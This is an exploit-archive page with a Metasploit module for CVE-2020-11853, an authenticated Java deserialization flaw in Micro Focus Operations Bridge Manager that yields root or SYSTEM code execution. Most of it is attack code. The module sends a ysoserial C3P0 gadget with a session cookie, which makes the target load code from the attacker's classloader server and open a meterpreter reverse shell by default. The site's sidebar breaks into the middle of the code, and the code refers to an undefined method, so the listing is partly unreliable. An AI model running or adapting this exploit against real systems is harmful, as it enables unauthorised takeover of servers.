Micro Focus Operations Bridge Manager Remote Code Execution

Authored by Pedro Ribeiro | Site metasploit.com

Posted Feb 10, 2021

This Metasploit module exploits an authenticated Java deserialization that affects a truckload of Micro Focus products: Operations Bridge Manager, Application Performance Management, Data Center Automation, Universal CMDB, Hybrid Cloud Management and Service Management Automation. However, this module was only tested on Operations Bridge Manager. Exploiting this vulnerability will result in remote code execution as the root user on Linux or the SYSTEM user on Windows. Authentication is required as the module user needs to login to the application and obtain the authenticated LWSSO_COOKIE_KEY, which should be fed to the module. Any authenticated user can exploit this vulnerability, even the lowest privileged ones.

tags | exploit, java, remote, root, code execution
systems | linux, windows
advisories | CVE-2020-11853
SHA-256 | 13d48a0eedb076ba8ac83405342b8b011a20b72ca2d2e40597629ef5d018cddd Download | Favorite | View

Related Files

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus Operations Bridge Manager Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authenticated Java deserialization that affects a truckload of Micro
          Focus products: Operations Bridge Manager, Application Performance Management, Data Center
Automation,
          Universal CMDB, Hybrid Cloud Management and Service Management Automation. However this module
          was only tested on Operations Bridge Manager.
          Exploiting this vulnerability will result in remote code execution as the root user on Linux or
          the SYSTEM user on Windows.
          Authentication is required, the module user needs to login to the application and obtain the
          authenticated LWSSO_COOKIE_KEY, which should be fed to the module. Any authenticated user can
          exploit this vulnerability, even the lowest privileged ones.
          For more information refer to the advisory link below.
        },
        'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
        ],
        'References' =>
          [
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
            [ 'CVE', '2020-11853'],
            [ 'ZDI', '20-1327'],
          ],
        'DisclosureDate' => '2020-10-28',
        'License' => MSF_LICENSE,
        'Platform' => 'java',
        'Arch' => ARCH_JAVA,
        'Privileged' => true,
        'Targets' => [
          ['Micro Focus Operations Bridge Manager <= 2020.05 (and many other MF products)', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'java/meterpreter/reverse_tcp'
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
      OptString.new('LWSSO_COOKIE_KEY', [true, 'Authenticated LWSSO_COOKIE_KEY session cookie'])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/topaz/login.jsp')
    })

    # unfortunately could not find an easy way to detect the version running, even when auth
    if res && res.code == 200 && res.body.include?('Login - Operations Bridge Manager')
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    # Start our HTTP server to provide remote classloading
    @classloader_uri = start_service

    unless @classloader_uri
      fail_with(Failure::BadConfig, 'Could not start remote classloader server')
    end

    print_good("Started remote classloader server at #{@classloader_uri}")

    # heh, we got two of these, let's pick one randomly!
    vuln_uri = [
      '/legacy/topaz/sitescope/conf/registration',
      '/legacy/topaz/sitescope/conf/download'
    ].sample

    # Send our remote classloader gadget to the target, triggering the vuln
    send_request_gadget(
      normalize_uri(target_uri.path, vuln_uri)
    )
  end

  # Convenience method to send our gadget to a URI
  def send_request_gadget(uri)
    print_status("Sending remote classloader gadget to #{full_uri(uri)}")

    send_request_raw({
      'method' => 'POST',
      'uri' => uri,
      'cookie' => "LWSSO_COOKIE_KEY=#{datastore['LWSSO_COOKIE_KEY']}",
      'headers' => { 'Content-Type' => 'application/octet-stream' },
      'data' => go_go_gadget
    }, 0)
  end

  # C3P0 payload generated with a ysoserial jar
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
  # The ysoserial jar needs to be built with c3p0 version 0.9.1.2 as that is what the target uses
  # See the advisory for details.
  #
  # java -jar ysoserial-0.0.6-SNAPSHOT-all-c3p0-0.9.1.2.jar C3P0 'http://whatever/:ExploitClass' | base64
  def go_go_gadget
    gadget = Rex::Text.decode_base64(
      <<~EOF
        rO0ABXNyAChjb20ubWNoYW5nZS52Mi5jM3AwL1Bvb2xCYWNrZWREYXRhU291cmN1ZoRH/BzETxgC
        AAB4cgA1Y29tLmljaGFuZ2UudjIuYzNwMC5pbXBsLkFic3RyYWN0UG9vbEJhY2t1ZERhdGFTb3Vy
        Y2UAAAAAAAAAAAQMAAHhyADFjb20ubWNoYW5nZS52Mi5jM3AwLmltcGwuUG9vbEJhY2t1ZERhdGFT
        b3VyY2VCYXNlAAAAAAAAAAAEDAAdJABBudW1IZWxwZXJUaHJlYWRzTAAYY29ubmVjdGlvblBvb2xE
        YXRhU291cmNldAAkTGphdmF4L3NxbC9Db25uZWN0aW9uUG9vbERhdGFTb3VyY2U7TAAOZGF0YVNv
        dXJjZU5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABRmYWN0b3J5Q2xhc3NMb2NhdGlvbnEAfqAE
        TAANaWRlbnRpdHlUb2tlbnEAfqAETAADcGNzdAAiTGphdmEvYmVhbnMvUHJvcGVydHlDaGFuZ2VP
        dXBwb3J0O0wAA3Zjc3QAIkxqYXZhL2J1YW5zL1Z1dG9hYmxlQ2hhbmdlU3VwcG9ydDt4cHcCAAFz
        cgA9Y29tLmljaGFuZ2UudjIubmFtaW5nLlJ1ZmVyZW5jZU1uZGlyZWNOb3IkUmVmZXJlbmNlUVy
        aWFsaXplZGIZhdDRKsITAgAETAALY29udGV4dE5hbWV0ABNMamF2YXgvbmFtaW5nL05hbWU7TAAD
        ZW52dAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAEbmFtZXEAfgAJTAAJcmVmZXJlbmNldAAYTGph
        dmF4L25hbWluZy9SZWZlcmVuY2U7eHBwcHBzcgAWamF2YXgubmFtaW5nLlJlZmVyZW5jejGnqKo
        6Y0JAgAETAAFYWRkcnN0ABJMamF2YS9idGlsL1ZlY3RvcjtMAAxjbGFzc0ZhY3RvcnlxAH4ABEwA
        FGNeYXNzRmFjdG9yeUxvY2F0aW9uQB+AAPMAAljbGFzc05hbWVxAH4ABHhwc3IAEGphdmEudXRp
        bC5WZWN0b3IZl131bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwAL
        ZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFu
        Zy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQADEV4cGxvaXRDbGFzc3QAEGh0
        dHA6Ly93aGF0ZXZlci90AAdleHBsb2lcHBwdwQAAAAAeHcCAAF4
      EOF
    )

    # Replace length-prefixed placeholder strings with our own
    gadget.sub!("\x00\x10http://whatever/", packed_classloader_uri)
    gadget.sub!("\x00\x07exploit", packed_class_name)
    gadget.sub("\x00\x0cExploitClass", packed_class_name)
  end

  # Convenience method to pack the classloader URI as a length-prefixed string
  def packed_classloader_uri
    "#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
  end

end
```